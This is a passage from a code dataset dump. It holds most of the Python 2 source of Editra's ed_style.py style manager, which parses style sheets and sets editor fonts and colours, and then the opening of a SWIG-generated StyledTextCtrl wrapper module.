\"\"\"Returns the value of the face attribute\n @return: style items font face attribute\n\n \"\"\"\n return self.face\n\n def GetFore(self):\n \"\"\"Returns the value of the fore attribute\n @return: style items foreground attribute\n\n \"\"\"\n return self.fore\n\n def GetSize(self):\n \"\"\"Returns the value of the size attribute as a string\n @return: style items font size attribute\n\n \"\"\"\n return self.size\n\n def GetModifiers(self):\n \"\"\"Get the modifiers string\n @return: string\n\n \"\"\"\n return u\",\".join(self.GetModifierList())\n\n def GetModifierList(self):\n \"\"\"Get the list of modifiers\n @return: list\n\n \"\"\"\n return self._exattr\n\n def GetNamedAttr(self, attr):\n \"\"\"Get the value of the named attribute\n @param attr: named attribute to get value of\n\n \"\"\"\n return getattr(self, attr, None)\n\n #---- Utilities ----#\n def IsNull(self):\n \"\"\"Return whether the item is null or not\n @return: bool\n\n \"\"\"\n return self.null\n\n def IsOk(self):\n \"\"\"Check if the style item is ok or not, if it has any of its\n attributes set it is perceived as ok.\n @return: bool\n\n \"\"\"\n return len(unicode(self))\n\n def Nullify(self):\n \"\"\"Clear all values and set item as Null\n @postcondition: item is turned into a NullStyleItem\n\n \"\"\"\n self.null = True\n for attr in ('fore', 'face', 'back', 'size'):\n setattr(self, attr, u'')\n self._exattr = list()\n\n #---- Set Functions ----#\n def SetAttrFromStr(self, style_str):\n \"\"\"Takes style string and sets the objects attributes\n by parsing the string for the values. Only sets or\n overwrites values does not zero out previously set values.\n Returning True if value(s) are set or false otherwise.\n @param style_str: style information string (i.e fore:#888444)\n @type style_str: string\n\n \"\"\"\n self.null = False\n last_set = wx.EmptyString\n for atom in style_str.split(u','):\n attrib = atom.split(u':')\n if len(attrib) == 2 and attrib[0] in STY_ATTRIBUTES:\n last_set = attrib[0]\n if last_set == u\"modifiers\":\n self.SetExAttr(attrib[1])\n else:\n setattr(self, attrib[0], attrib[1])\n else:\n for attr in attrib:\n if attr in STY_EX_ATTRIBUTES:\n self.SetExAttr(attr)\n\n return last_set != wx.EmptyString\n\n def SetBack(self, back, ex=wx.EmptyString):\n \"\"\"Sets the Background Value\n @param back: hex color string, or None to clear attribute\n @keyword ex: extra attribute (i.e bold, italic, underline)\n\n \"\"\"\n self.null = False\n if back is None:\n back = u''\n self.back = back\n if ex and ex not in self._exattr:\n self._exattr.append(ex)\n\n def SetFace(self, face, ex=wx.EmptyString):\n \"\"\"Sets the Face Value\n @param face: font name string, or None to clear attribute\n @keyword ex: extra attribute (i.e bold, italic, underline)\n\n \"\"\"\n self.null = False\n if face is None:\n face = u''\n self.face = face\n if ex and ex not in self._exattr:\n self._exattr.append(ex)\n\n def SetFore(self, fore, ex=wx.EmptyString):\n \"\"\"Sets the Foreground Value\n @param fore: hex color string, or None to clear attribute\n @keyword ex: extra attribute (i.e bold, italic, underline)\n\n \"\"\"\n self.null = False\n if fore is None:\n fore = u''\n self.fore = fore\n if ex and ex not in self._exattr:\n self._exattr.append(ex)\n\n def SetSize(self, size, ex=wx.EmptyString):\n \"\"\"Sets the Font Size Value\n @param size: font point size, or None to clear attribute\n @type size: string or int\n @keyword ex: extra attribute (i.e bold, italic, underline)\n\n \"\"\"\n self.null = False\n if size is None:\n size = u''\n self.size = unicode(size)\n if ex and ex not in self._exattr:\n self._exattr.append(ex)\n\n def SetExAttr(self, ex_attr, add=True):\n \"\"\"Adds an extra text attribute to a StyleItem. Currently\n (bold, eol, italic, underline) are supported. If the optional\n add value is set to False the attribute will be removed from\n the StyleItem.\n @param ex_attr: extra style attribute (bold, eol, italic, underline)\n @type ex_attr: string\n @keyword add: Add a style (True) or remove a style (False)\n\n \"\"\"\n # Get currently set attributes\n self.null = False\n if ex_attr not in STY_EX_ATTRIBUTES:\n return\n\n if add and ex_attr not in self._exattr:\n self._exattr.append(ex_attr)\n elif not add and ex_attr in self._exattr:\n self._exattr.remove(ex_attr)\n else:\n pass\n\n def SetNamedAttr(self, attr, value):\n \"\"\"Sets a StyleItem attribute by named string.\n @note: This is not intended to be used for setting extra\n attributes such as bold, eol, ect..\n @param attr: a particular attribute to set (i.e fore, face, back, size)\n @param value: value to set the attribute to contain. None to clear the\n value.\n\n \"\"\"\n self.null = False\n if value is None:\n value = u''\n cur_val = getattr(self, attr, None)\n if cur_val is not None:\n if u\",\" in value:\n modifiers = value.split(u\",\")\n value = modifiers.pop(0)\n for ex in modifiers:\n self.SetExAttr(ex)\n setattr(self, attr, value)\n\n#-----------------------------------------------------------------------------#\n\nclass StyleMgr(object):\n \"\"\"Manages style definitions and provides them on request.\n Also provides functionality for loading custom style sheets and\n modifying styles during run time.\n\n \"\"\"\n STYLES = dict() # Static cache for loaded style set(s)\n FONT_PRIMARY = u\"primary\"\n FONT_SECONDARY = u\"secondary\"\n FONT_SIZE = u\"size\"\n FONT_SIZE2 = u\"size2\"\n FONT_SIZE3 = u\"size3\"\n\n def __init__(self, custom=wx.EmptyString):\n \"\"\"Initializes the Style Manager\n @keyword custom: path to custom style sheet to use\n\n \"\"\"\n super(StyleMgr, self).__init__()\n\n # Attributes\n self.fonts = self.GetFontDictionary()\n self.style_set = custom\n self.syntax_set = list()\n self.LOG = wx.GetApp().GetLog()\n\n # Get the Style Set\n if custom != wx.EmptyString and self.LoadStyleSheet(custom):\n self.LOG(\"[ed_style][info] Loaded custom style sheet %s\" % custom)\n elif custom == wx.EmptyString:\n self.SetStyles('default', DEF_STYLE_DICT)\n else:\n self.LOG(\"[ed_style][err] Failed to import styles from %s\" % custom)\n\n def BlankStyleDictionary(self):\n \"\"\"Returns a dictionary of unset style items based on the\n tags defined in the current dictionary.\n @return: dictionary of unset style items using the current tag set\n as keys.\n\n \"\"\"\n sty_dict = dict()\n for key in DEF_STYLE_DICT.keys():\n if key in ('select_style',): # special styles\n sty_dict[key] = NullStyleItem()\n else:\n sty_dict[key] = StyleItem(\"#000000\", \"#FFFFFF\",\n \"%(primary)s\", \"%(size)d\")\n return sty_dict\n\n def FindTagById(self, style_id):\n \"\"\"Find the style tag that is associated with the given\n Id. Return value defaults to default_style .\n @param style_id: id of tag to look for\n @return: style tag string\n\n \"\"\"\n for data in self.syntax_set:\n if style_id == data[0]:\n return data[1]\n return 'default_style'\n\n def GetFontDictionary(self, default=True):\n \"\"\"Does a system lookup to build a default set of fonts using\n ten point fonts as the standard size.\n @keyword default: return the default dictionary of fonts, else return\n the current running dictionary of fonts if it exists.\n @type default: bool\n @return: font dictionary (primary, secondary) + (size, size2)\n\n \"\"\"\n if hasattr(self, 'fonts') and not default:\n return self.fonts\n\n font = Profile_Get('FONT1', 'font', None)\n if font is not None:\n mfont = font\n else:\n mfont = wx.Font(10, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL,\n wx.FONTWEIGHT_NORMAL)\n Profile_Set('FONT1', mfont, 'font')\n primary = mfont.GetFaceName()\n\n font = Profile_Get('FONT2', 'font', None)\n if font is None:\n font = wx.Font(10, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL,\n wx.FONTWEIGHT_NORMAL)\n Profile_Set('FONT2', font, 'font')\n secondary = font.GetFaceName()\n faces = {\n self.FONT_PRIMARY : primary,\n self.FONT_SECONDARY : secondary,\n self.FONT_SIZE : mfont.GetPointSize(),\n self.FONT_SIZE2 : font.GetPointSize(),\n self.FONT_SIZE3 : mfont.GetPointSize() - 2\n }\n return faces\n\n def GetDefaultFont(self):\n \"\"\"Constructs and returns a wxFont object from the settings\n of the default_style object.\n @return: font object of default style\n @rtype: wx.Font\n\n \"\"\"\n if self.HasNamedStyle('default_style'):\n style_item = self.GetItemByName('default_style')\n face = style_item.GetFace()\n if face[0] == u\"%\":\n face = face % self.fonts\n size = style_item.GetSize()\n if isinstance(size, basestring):\n size = size % self.fonts\n font = wx.FFont(int(size), wx.MODERN, face=face)\n else:\n font = wx.FFont(self.fonts[self.FONT_SIZE], wx.MODERN)\n return font\n\n def GetDefaultForeColour(self, as_hex=False):\n \"\"\"Gets the foreground color of the default style and returns\n a Colour object. Otherwise returns Black if the default\n style is not found.\n @keyword as_hex: return a hex string or colour object\n @type as_hex: bool\n @return: wx.Colour of default style foreground or hex value\n @rtype: wx.Colour or string\n\n \"\"\"\n fore = self.GetItemByName('default_style').GetFore()\n if not fore:\n fore = u\"#000000\"\n\n if not as_hex:\n rgb = eclib.HexToRGB(fore[1:])\n fore = wx.Colour(red=rgb[0], green=rgb[1], blue=rgb[2])\n return fore\n\n def GetCurrentStyleSetName(self):\n \"\"\"Get the name of the currently set style\n @return: string\n\n \"\"\"\n return self.style_set\n\n def GetDefaultBackColour(self, as_hex=False):\n \"\"\"Gets the background color of the default style and returns\n a Colour object. Otherwise returns white if the default\n style is not found.\n @keyword hex: return a hex string or colour object\n @type hex: bool\n @return: wx.Colour of default style background or hex value\n @rtype: wx.Colour or string\n\n \"\"\"\n back = self.GetItemByName('default_style').GetBack()\n if not back:\n back = u\"#FFFFFF\"\n\n if not as_hex:\n rgb = eclib.HexToRGB(back[1:])\n back = wx.Colour(red=rgb[0], green=rgb[1], blue=rgb[2])\n return back\n\n def GetItemByName(self, name):\n \"\"\"Gets and returns a style item using its name for the search\n @param name: tag name of style item to get\n @return: style item (may be empty/null style item)\n @rtype: L{StyleItem}\n\n \"\"\"\n scheme = self.GetStyleSet()\n if name in scheme:\n item = scheme[name]\n\n # Set font value if need be\n ival = unicode(item)\n if u\"%\" in ival:\n val = ival % self.fonts\n item = StyleItem()\n item.SetAttrFromStr(val)\n\n return item\n else:\n return StyleItem()\n\n def GetStyleFont(self, primary=True):\n \"\"\"Returns the primary font facename by default\n @keyword primary: Get Primary(default) or Secondary Font\n @return face name of current font in use\n\n \"\"\"\n if primary:\n font = wx.FFont(self.fonts[self.FONT_SIZE], wx.DEFAULT,\n face=self.fonts[self.FONT_PRIMARY])\n else:\n font = wx.FFont(self.fonts[self.FONT_SIZE2], wx.DEFAULT,\n face=self.fonts[self.FONT_SECONDARY])\n return font\n\n def GetStyleByName(self, name):\n \"\"\"Gets and returns a style string using its name for the search\n @param name: tag name of style to get\n @type name: string\n @return: style item in string form\n @rtype: string\n\n \"\"\"\n if self.HasNamedStyle(name):\n stystr = unicode(self.GetItemByName(name))\n return stystr.replace(\"modifiers:\", \"\")\n else:\n return u\"\"\n\n def GetStyleSet(self):\n \"\"\"Returns the current set of styles or the default set if\n there is no current set.\n @return: current style set dictionary\n @rtype: dict\n\n \"\"\"\n return StyleMgr.STYLES.get(self.style_set, DEF_STYLE_DICT)\n\n @staticmethod\n def GetStyleSheet(sheet_name=None):\n \"\"\"Finds the current style sheet and returns its path. The\n lookup is done by first looking in the users config directory\n and if it is not found there it looks for one on the system\n level and if that fails it returns None.\n @param sheet_name: style sheet to look for\n @return: full path to style sheet\n\n \"\"\"\n if sheet_name:\n style = sheet_name\n if sheet_name.split(u'.')[-1] != u\"ess\":\n style += u\".ess\"\n elif Profile_Get('SYNTHEME', 'str').split(u'.')[-1] != u\"ess\":\n style = (Profile_Get('SYNTHEME', 'str') + u\".ess\").lower()\n else:\n style = Profile_Get('SYNTHEME', 'str').lower()\n\n # Get Correct Filename if it exists\n for sheet in util.GetResourceFiles(u'styles', False, True, title=False):\n if sheet.lower() == style.lower():\n style = sheet\n break\n\n user = os.path.join(ed_glob.CONFIG['STYLES_DIR'], style)\n sysp = os.path.join(ed_glob.CONFIG['SYS_STYLES_DIR'], style)\n if os.path.exists(user):\n return user\n elif os.path.exists(sysp):\n return sysp\n else:\n return None\n\n def GetSyntaxParams(self):\n \"\"\"Get the set of syntax parameters\n @return: list\n\n \"\"\"\n return self.syntax_set\n\n def HasNamedStyle(self, name):\n \"\"\"Checks if a style has been set/loaded or not\n @param name: tag name of style to look for\n @return: whether item is in style set or not\n\n \"\"\"\n return name in self.GetStyleSet()\n\n def LoadStyleSheet(self, style_sheet, force=False):\n \"\"\"Loads a custom style sheet and returns True on success\n @param style_sheet: path to style sheet to load\n @keyword force: Force re-parse of style sheet, default is to use cached\n data when available\n @return: whether style sheet was loaded or not\n @rtype: bool\n\n \"\"\"\n if isinstance(style_sheet, basestring) and \\\n os.path.exists(style_sheet) and \\\n ((force or style_sheet not in StyleMgr.STYLES) or \\\n style_sheet != self.style_set):\n reader = util.GetFileReader(style_sheet)\n if reader == -1:\n self.LOG(\"[ed_style][err] Failed to open style sheet: %s\" % style_sheet)\n return False\n style_data = None\n try:\n style_data = self.ParseStyleData(reader.read())\n except Exception, msg:\n self.LOG(\"[ed_style][err] Failed to parse style data for %s:\" % style_sheet)\n return False\n ret_val = self.SetStyles(style_sheet, style_data)\n reader.close()\n return ret_val\n elif style_sheet not in StyleMgr.STYLES:\n self.LOG(\"[ed_style][warn] Style sheet %s does not exists\" % style_sheet)\n # Reset to default style\n if Profile_Get('SYNTHEME') != 'default':\n Profile_Set('SYNTHEME', 'default')\n self.SetStyles('default', DEF_STYLE_DICT)\n return False\n else:\n self.LOG(\"[ed_style][info] Using cached style data\")\n return True\n\n def PackStyleSet(self, style_set):\n \"\"\"Checks the difference of each item in the style set as\n compared to the default_style tag and packs any unset value\n in the item to be equal to the default style.\n @param style_set: style set to pack\n @return: style_set with all unset attributes set to match default style\n\n \"\"\"\n if isinstance(style_set, dict) and 'default_style' in style_set:\n default = style_set['default_style']\n for tag in style_set:\n if style_set[tag].IsNull():\n continue\n if not style_set[tag].GetFace():\n style_set[tag].SetFace(default.GetFace())\n if not style_set[tag].GetFore():\n style_set[tag].SetFore(default.GetFore())\n if not style_set[tag].GetBack():\n style_set[tag].SetBack(default.GetBack())\n if not style_set[tag].GetSize():\n style_set[tag].SetSize(default.GetSize())\n\n # Now need to pack in undefined styles that are part of\n # the standard set.\n for tag in DEF_STYLE_DICT.keys():\n if tag not in style_set:\n if tag == 'select_style':\n style_set[tag] = NullStyleItem()\n else:\n style_set[tag] = default.Clone()\n else:\n pass\n return style_set\n\n def ParseStyleData(self, style_data):\n \"\"\"Parses a string style definitions read from an Editra Style Sheet.\n @param style_data: style sheet data string\n @type style_data: string\n @return: dictionary of StyleItems constructed from the style sheet\n data.\n\n \"\"\"\n # Remove all comments\n style_data = RE_ESS_COMMENT.sub(u'', style_data)\n\n # Compact data into a contiguous string\n style_data = style_data.replace(u\"\\r\\n\", u\"\").replace(u\"\\n\", u\"\")\n style_data = style_data.replace(u\"\\t\", u\"\")\n# style_data = style_data.replace(u\" \", u\"\") # support old style\n\n ## Build style data tree\n # Tree Level 1 split tag from data\n style_tree = [style.split(u\"{\") for style in style_data.split(u'}')]\n if len(style_tree) and len(style_tree[-1]) and not style_tree[-1][0]:\n style_tree.pop()\n\n # Tree Level 2 Build small trees of tag and style attributes\n # Tree Level 3 Branch tree into TAG => Attr => Value String\n ttree = list(style_tree)\n for branch in ttree:\n # Check for level 1 syntax errors\n if len(branch) != 2:\n self.LOG(\"[ed_style][err] There was an error parsing \"\n \"the syntax data from \" + self.style_set)\n self.LOG(\"[ed_style][err] Missing a { or } in Def: \" + repr(branch[0]))\n ttree.remove(branch)\n continue\n\n tmp2 = [leaf.strip().split(u\":\")\n for leaf in branch[1].strip().split(u\";\")]\n if len(tmp2) and not tmp2[-1][0]:\n tmp2.pop()\n branch[1] = tmp2\n style_tree = ttree\n\n # Check for L2/L3 Syntax errors and build a clean dictionary\n # of Tags => Valid Attributes\n style_dict = dict()\n for branch in style_tree:\n value = list()\n tag = branch[0].replace(u\" \", u\"\")\n for leaf in branch[1]:\n # Remove any remaining whitespace\n leaf = [part.strip() for part in leaf]\n if len(leaf) != 2:\n self.LOG(\"[ed_style][err] Missing a : or ; in the \"\n \"declaration of %s\" % tag)\n elif leaf[0] not in STY_ATTRIBUTES:\n self.LOG((\"[ed_style][warn] Unknown style attribute: %s\"\n \", In declaration of %s\") % (leaf[0], tag))\n else:\n value.append(leaf)\n\n # Skip all leafless branches\n if len(value) != 0:\n style_dict[tag] = value\n\n # Validate leaf values and format into style string\n rdict = dict()\n for style_def in style_dict:\n if not style_def[0][0].isalpha():\n self.LOG(\"[ed_style][err] The style def %s is not a \"\n \"valid name\" % style_def[0])\n else:\n style_str = u\"\"\n # Check each definition and validate its items\n for attrib in style_dict[style_def]:\n values = [ val for val in attrib[1].split()\n if val != u\"\" ]\n\n v1ok = v2ok = False\n # Check that colors are a hex string\n n_values = len(values)\n if n_values and \\\n attrib[0] in \"fore back\" and RE_HEX_STR.match(values[0]):\n v1ok = True\n elif n_values and attrib[0] == \"size\":\n if RE_ESS_SCALAR.match(values[0]) or values[0].isdigit():\n v1ok = True\n else:\n self.LOG(\"[ed_style][warn] Bad value in %s\"\n \" the value %s is invalid.\" % \\\n (attrib[0], values[0]))\n elif n_values and attrib[0] == \"face\":\n # Font names may have spaces in them so join the\n # name of the font into one item.\n if n_values > 1 and values[1] not in STY_EX_ATTRIBUTES:\n tmp = list()\n for val in list(values):\n if val not in STY_EX_ATTRIBUTES:\n tmp.append(val)\n values.remove(val)\n else:\n break\n values = [u' '.join(tmp),] + values\n v1ok = True\n elif n_values and attrib[0] == \"modifiers\":\n v1ok = True\n\n # Check extra attributes\n if len(values) > 1:\n for value in values[1:]:\n if value not in STY_EX_ATTRIBUTES:\n self.LOG(\"[ed_style][warn] Unknown extra \" + \\\n \"attribute '\" + values[1] + \\\n \"' in attribute: \" + attrib[0])\n break\n else:\n v2ok = True\n\n if v1ok and v2ok:\n value = u\",\".join(values)\n elif v1ok:\n value = values[0]\n else:\n continue\n\n style_str = u\",\".join([style_str,\n u\":\".join([attrib[0], value])])\n\n # Build up the StyleItem Dictionary\n if style_str != u\"\":\n new_item = StyleItem()\n value = style_str.strip(u\",\")\n if isinstance(value, basestring):\n new_item.SetAttrFromStr(value)\n rdict[style_def] = new_item\n\n return rdict\n\n def SetGlobalFont(self, fonttag, fontface, size=-1):\n \"\"\"Sets one of the fonts in the global font set by tag\n and sets it to the named font. Returns true on success.\n @param fonttag: font type identifier key\n @param fontface: face name to set global font to\n\n \"\"\"\n if hasattr(self, 'fonts'):\n self.fonts[fonttag] = fontface\n if size > 0:\n self.fonts[self.FONT_SIZE] = size\n return True\n else:\n return False\n\n def SetStyleFont(self, wx_font, primary=True):\n \"\"\"Sets the\\primary or secondary font and their respective\n size values.\n @param wx_font: font object to set styles font info from\n @keyword primary: Set primary(default) or secondary font\n\n \"\"\"\n if primary:\n self.fonts[self.FONT_PRIMARY] = wx_font.GetFaceName()\n self.fonts[self.FONT_SIZE] = wx_font.GetPointSize()\n else:\n self.fonts[self.FONT_SECONDARY] = wx_font.GetFaceName()\n self.fonts[self.FONT_SIZE2] = wx_font.GetPointSize()\n\n def SetStyleTag(self, style_tag, value):\n \"\"\"Sets the value of style tag by name\n @param style_tag: desired tag name of style definition\n @param value: style item to set tag to\n @return: bool\n\n \"\"\"\n if not isinstance(value, StyleItem):\n self.LOG(\"[ed_style][warn] Bad data in SetStyleTag(%s)\" % repr(value))\n return False\n\n StyleMgr.STYLES[self.style_set][style_tag] = value\n return True\n\n def SetStyles(self, name, style_dict, nomerge=False):\n \"\"\"Sets the managers style data and returns True on success.\n @param name: name to store dictionary in cache under\n @param style_dict: dictionary of style items to use as managers style\n set.\n @keyword nomerge: merge against default set or not\n @type nomerge: bool\n\n \"\"\"\n if nomerge:\n self.style_set = name\n StyleMgr.STYLES[name] = self.PackStyleSet(style_dict)\n return True\n\n # Merge the given style set with the default set to fill in any\n # unset attributes/tags\n if isinstance(style_dict, dict):\n # Check for bad data\n for style in style_dict.values():\n if not isinstance(style, StyleItem):\n self.LOG(\"[ed_style][err] Invalid data in style dictionary\")\n self.style_set = 'default'\n return False\n\n self.style_set = name\n defaultd = DEF_STYLE_DICT\n dstyle = style_dict.get('default_style', None)\n if dstyle is None:\n self.LOG(\"[ed_style][warn] default_style is undefined\")\n style_dict['default_style'] = defaultd['default_style'].Clone()\n\n # Set any undefined styles to match the default_style\n for tag in defaultd:\n if tag not in style_dict:\n if tag in ('select_style',):\n style_dict[tag] = NullStyleItem()\n else:\n style_dict[tag] = style_dict['default_style'].Clone()\n\n StyleMgr.STYLES[name] = self.PackStyleSet(style_dict)\n return True\n else:\n self.LOG(\"[ed_style][err] SetStyles expects a \" \\\n \"dictionary of StyleItems\")\n return False\n\n def SetSyntax(self, synlst):\n \"\"\"Sets the Syntax Style Specs from a list of specifications\n @param synlst: [(STYLE_ID, \"STYLE_TYPE\"), (STYLE_ID2, \"STYLE_TYPE2)]\n\n \"\"\"\n # Parses Syntax Specifications list, ignoring all bad values\n self.UpdateBaseStyles()\n valid_settings = list()\n for syn in synlst:\n if len(syn) != 2:\n self.LOG(\"[ed_style][warn] Bogus Syntax Spec %s\" % repr(syn))\n continue\n else:\n self.StyleSetSpec(syn[0], self.GetStyleByName(syn[1]))\n valid_settings.append(syn)\n\n self.syntax_set = valid_settings\n return True\n\n def StyleDefault(self):\n \"\"\"Clears the editor styles to default\n @postcondition: style is reset to default\n\n \"\"\"\n self.StyleClearAll()\n self.SetCaretForeground(wx.BLACK)\n self.Colourise(0, -1)\n\n def UpdateAllStyles(self, spec_style=None):\n \"\"\"Refreshes all the styles and attributes of the control\n @param spec_style: style scheme name\n @postcondition: style scheme is set to specified style\n\n \"\"\"\n if spec_style and (spec_style != self.style_set):\n self.LoadStyleSheet(self.GetStyleSheet(spec_style), force=True)\n self.SetSyntax(self.GetSyntaxParams())\n self.Refresh()\n\n def UpdateBaseStyles(self):\n \"\"\"Updates the base styles of editor to the current settings\n @postcondition: base style info is updated\n\n \"\"\"\n self.StyleDefault()\n self.SetMargins(4, 0)\n\n # Global default styles for all languages\n self.StyleSetSpec(0, self.GetStyleByName('default_style'))\n self.StyleSetSpec(wx.stc.STC_STYLE_DEFAULT, \\\n self.GetStyleByName('default_style'))\n self.StyleSetSpec(wx.stc.STC_STYLE_LINENUMBER, \\\n self.GetStyleByName('line_num'))\n self.StyleSetSpec(wx.stc.STC_STYLE_CONTROLCHAR, \\\n self.GetStyleByName('ctrl_char'))\n self.StyleSetSpec(wx.stc.STC_STYLE_BRACELIGHT, \\\n self.GetStyleByName('brace_good'))\n self.StyleSetSpec(wx.stc.STC_STYLE_BRACEBAD, \\\n self.GetStyleByName('brace_bad'))\n self.StyleSetSpec(wx.stc.STC_STYLE_INDENTGUIDE, \\\n self.GetStyleByName('guide_style'))\n\n # wx.stc.STC_STYLE_CALLTIP doesn't seem to do anything\n calltip = self.GetItemByName('calltip')\n self.CallTipSetBackground(calltip.GetBack())\n self.CallTipSetForeground(calltip.GetFore())\n\n sback = self.GetItemByName('select_style')\n if not sback.IsNull() and len(sback.GetBack()):\n sback = sback.GetBack()\n sback = eclib.HexToRGB(sback)\n sback = wx.Colour(*sback)\n else:\n sback = wx.SystemSettings.GetColour(wx.SYS_COLOUR_HIGHLIGHT)\n\n # If selection colour is dark make the foreground white\n # else use the default settings.\n if sum(sback.Get()) < 384:\n self.SetSelForeground(True, wx.WHITE)\n else:\n self.SetSelForeground(False, wx.BLACK)\n self.SetSelBackground(True, sback)\n\n wspace = self.GetItemByName('whitespace_style')\n self.SetWhitespaceBackground(True, wspace.GetBack())\n self.SetWhitespaceForeground(True, wspace.GetFore())\n\n default_fore = self.GetDefaultForeColour()\n edge_colour = self.GetItemByName('edge_style')\n self.SetEdgeColour(edge_colour.GetFore())\n self.SetCaretForeground(default_fore)\n self.SetCaretLineBack(self.GetItemByName('caret_line').GetBack())\n self.Colourise(0, -1)\n\n#-----------------------------------------------------------------------------#\n# Utility Functions\n\ndef NullStyleItem():\n \"\"\"Create a null style item\n @return: empty style item that cannot be merged\n\n \"\"\"\n item = StyleItem()\n item.null = True\n return item\n\nDEF_STYLE_DICT = \\\n {'brace_good' : StyleItem(\"#FFFFFF\", \"#0000FF\", ex=[\"bold\",]),\n 'brace_bad' : StyleItem(back=\"#FF0000\", ex=[\"bold\",]),\n 'calltip' : StyleItem(\"#404040\", \"#FFFFB8\"),\n 'caret_line' : StyleItem(back=\"#D8F8FF\"),\n 'ctrl_char' : StyleItem(),\n 'line_num' : StyleItem(back=\"#C0C0C0\", face=\"%(secondary)s\", \\\n size=\"%(size3)d\"),\n 'array_style': StyleItem(\"#EE8B02\",\n face=\"%(secondary)s\",\n ex=[\"bold\",]),\n 'btick_style': StyleItem(\"#8959F6\", size=\"%(size)d\", ex=[\"bold\",]),\n 'default_style': StyleItem(\"#000000\", \"#F6F6F6\", \\\n \"%(primary)s\", \"%(size)d\"),\n 'char_style' : StyleItem(\"#FF3AFF\"),\n 'class_style' : StyleItem(\"#2E8B57\", ex=[\"bold\",]),\n 'class2_style' : StyleItem(\"#2E8B57\", ex=[\"bold\",]),\n 'comment_style' : StyleItem(\"#838383\"),\n 'decor_style' : StyleItem(\"#BA0EEA\", face=\"%(secondary)s\",\n ex=[\"italic\",]),\n 'directive_style' : StyleItem(\"#0000FF\", face=\"%(secondary)s\",\n ex=[\"bold\",]),\n 'dockey_style' : StyleItem(\"#0000FF\"),\n 'edge_style' : StyleItem(), # inherit from default\n 'error_style' : StyleItem(\"#DD0101\", face=\"%(secondary)s\",\n ex=[\"bold\",]),\n 'foldmargin_style' : StyleItem(back=\"#D1D1D1\"),\n 'funct_style' : StyleItem(\"#008B8B\", ex=[\"italic\",]),\n 'global_style' : StyleItem(\"#007F7F\", face=\"%(secondary)s\",\n ex=[\"bold\",]),\n 'guide_style' : StyleItem(\"#838383\"),\n 'here_style' : StyleItem(\"#CA61CA\", face=\"%(secondary)s\",\n ex=[\"bold\",]),\n 'ideol_style' : StyleItem(\"#E0C0E0\", face=\"%(secondary)s\"),\n 'keyword_style' : StyleItem(\"#A52B2B\", ex=[\"bold\",]),\n 'keyword2_style' : StyleItem(\"#2E8B57\", ex=[\"bold\",]),\n 'keyword3_style' : StyleItem(\"#008B8B\", ex=[\"bold\",]),\n 'keyword4_style' : StyleItem(\"#9D2424\"),\n 'marker_style' : StyleItem(\"#FFFFFF\", \"#000000\"),\n 'number_style' : StyleItem(\"#DD0101\"),\n 'number2_style' : StyleItem(\"#DD0101\", ex=[\"bold\",]),\n 'operator_style' : StyleItem(\"#000000\", face=\"%(primary)s\",\n ex=[\"bold\",]),\n 'pre_style' : StyleItem(\"#AB39F2\", ex=[\"bold\",]),\n 'pre2_style' : StyleItem(\"#AB39F2\", \"#FFFFFF\", ex=[\"bold\",]),\n 'regex_style' : StyleItem(\"#008B8B\"),\n 'scalar_style' : StyleItem(\"#AB37F2\", face=\"%(secondary)s\",\n ex=[\"bold\",]),\n 'scalar2_style' : StyleItem(\"#AB37F2\", face=\"%(secondary)s\"),\n 'select_style' : NullStyleItem(), # Use system default colour\n 'string_style' : StyleItem(\"#FF3AFF\", ex=[\"bold\",]),\n 'stringeol_style' : StyleItem(\"#000000\", \"#EEC0EE\",\n \"%(secondary)s\", ex=[\"bold\", \"eol\"]),\n 'unknown_style' : StyleItem(\"#FFFFFF\", \"#DD0101\", ex=[\"bold\", \"eol\"]),\n 'userkw_style' : StyleItem(),\n 'whitespace_style' : StyleItem('#838383')\n }\n\ndef MergeFonts(style_dict, font_dict):\n \"\"\"Does any string substitution that the style dictionary\n may need to have fonts and their sizes set.\n @param style_dict: dictionary of L{StyleItem}\n @param font_dict: dictionary of font data\n @return: style dictionary with all font format strings substituted in\n\n \"\"\"\n for style in style_dict:\n st_str = unicode(style_dict[style])\n if u'%' in st_str:\n style_dict[style].SetAttrFromStr(st_str % font_dict)\n return style_dict\n\ndef MergeStyles(styles1, styles2):\n \"\"\"Merges the styles from styles2 into styles1 overwriting\n any duplicate values already set in styles1 with the new\n data from styles2.\n @param styles1: dictionary of StyleItems to receive merge\n @param styles2: dictionary of StyleItems to merge from\n @return: style1 with all values from styles2 merged into it\n\n \"\"\"\n for style in styles2:\n styles1[style] = styles2[style]\n return styles1\n", "id": "2717714", "language": "Python", "matching_score": 1.7515796422958374, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_style.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nThe `StyledTextCtrl` provides a text editor that can used as a syntax\nhighlighting source code editor, or similar. Lexers for several programming\nlanguages are built-in.\n\"\"\"\n\nimport _stc\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _core\nimport _misc\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \nSTC_USE_DND = _stc.STC_USE_DND\nSTC_USE_POPUP = _stc.STC_USE_POPUP\nSTC_INVALID_POSITION = _stc.STC_INVALID_POSITION\nSTC_START = 